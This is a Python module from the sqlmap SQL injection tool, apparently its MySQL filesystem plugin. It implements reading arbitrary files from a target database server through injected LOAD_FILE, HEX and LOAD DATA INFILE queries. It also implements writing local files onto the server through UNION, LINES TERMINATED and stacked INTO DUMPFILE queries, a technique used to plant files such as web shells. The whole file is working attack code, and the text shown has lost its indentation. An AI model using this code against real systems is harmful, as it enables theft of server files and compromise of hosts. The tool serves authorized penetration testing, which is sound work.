1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177
|
#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
from lib.core.agent import agent
from lib.core.common import getSQLSnippet
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomStr
from lib.core.common import singleTimeWarnMessage
from lib.core.compat import xrange
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE
from lib.core.exception import SqlmapNoneDataException
from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.union.use import unionUse
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def nonStackedReadFile(self, rFile):
if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
return result
def stackedReadFile(self, remoteFile):
if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % remoteFile
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
self.getRemoteTempPath()
tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile
debugMsg += "into temporary file '%s'" % tmpFile
logger.debug(debugMsg)
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile))
debugMsg = "loading the content of hexadecimal encoded file "
debugMsg += "'%s' into support table" % remoteFile
logger.debug(debugMsg)
inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(length):
warnMsg = "unable to retrieve the content of the "
warnMsg += "file '%s'" % remoteFile
if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
if not kb.bruteMode:
warnMsg += ", going to fall-back to simpler UNION technique"
logger.warning(warnMsg)
result = self.nonStackedReadFile(remoteFile)
else:
raise SqlmapNoneDataException(warnMsg)
else:
length = int(length)
chunkSize = 1024
if length > chunkSize:
result = []
for i in xrange(1, length, chunkSize):
chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
result.append(chunk)
else:
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
return result
@stackedmethod
def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
logger.debug("encoding file to its hexadecimal string value")
fcEncodedList = self.fileEncode(localFile, "hex", True)
fcEncodedStr = fcEncodedList[0]
fcEncodedStrLen = len(fcEncodedStr)
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
warnMsg = "as the injection is on a GET parameter and the file "
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
warnMsg += "bytes, this might cause errors in the file "
warnMsg += "writing process"
logger.warning(warnMsg)
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
logger.debug(debugMsg)
pushValue(kb.forceWhere)
kb.forceWhere = PAYLOAD.WHERE.NEGATIVE
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile)
unionUse(sqlQuery, unpack=False)
kb.forceWhere = popValue()
warnMsg = "expect junk characters inside the "
warnMsg += "file as a leftover from UNION query"
singleTimeWarnMessage(warnMsg)
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
logger.debug("encoding file to its hexadecimal string value")
fcEncodedList = self.fileEncode(localFile, "hex", True)
fcEncodedStr = fcEncodedList[0][2:]
fcEncodedStrLen = len(fcEncodedStr)
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
warnMsg = "the injection is on a GET parameter and the file "
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
warnMsg += "bytes, this might cause errors in the file "
warnMsg += "writing process"
logger.warning(warnMsg)
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
logger.debug(debugMsg)
query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=remoteFile, HEXSTRING=fcEncodedStr)
query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
payload = agent.payload(newValue=query)
Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)
warnMsg = "expect junk characters inside the "
warnMsg += "file as a leftover from original query"
singleTimeWarnMessage(warnMsg)
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
debugMsg = "creating a support table to write the hexadecimal "
debugMsg += "encoded file to"
logger.debug(debugMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
logger.debug("encoding file to its hexadecimal string value")
fcEncodedList = self.fileEncode(localFile, "hex", False)
debugMsg = "forging SQL statements to write the hexadecimal "
debugMsg += "encoded file to the support table"
logger.debug(debugMsg)
sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug("inserting the hexadecimal encoded file to the support table")
inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024)) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230)
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
logger.debug(debugMsg)
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True)
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
|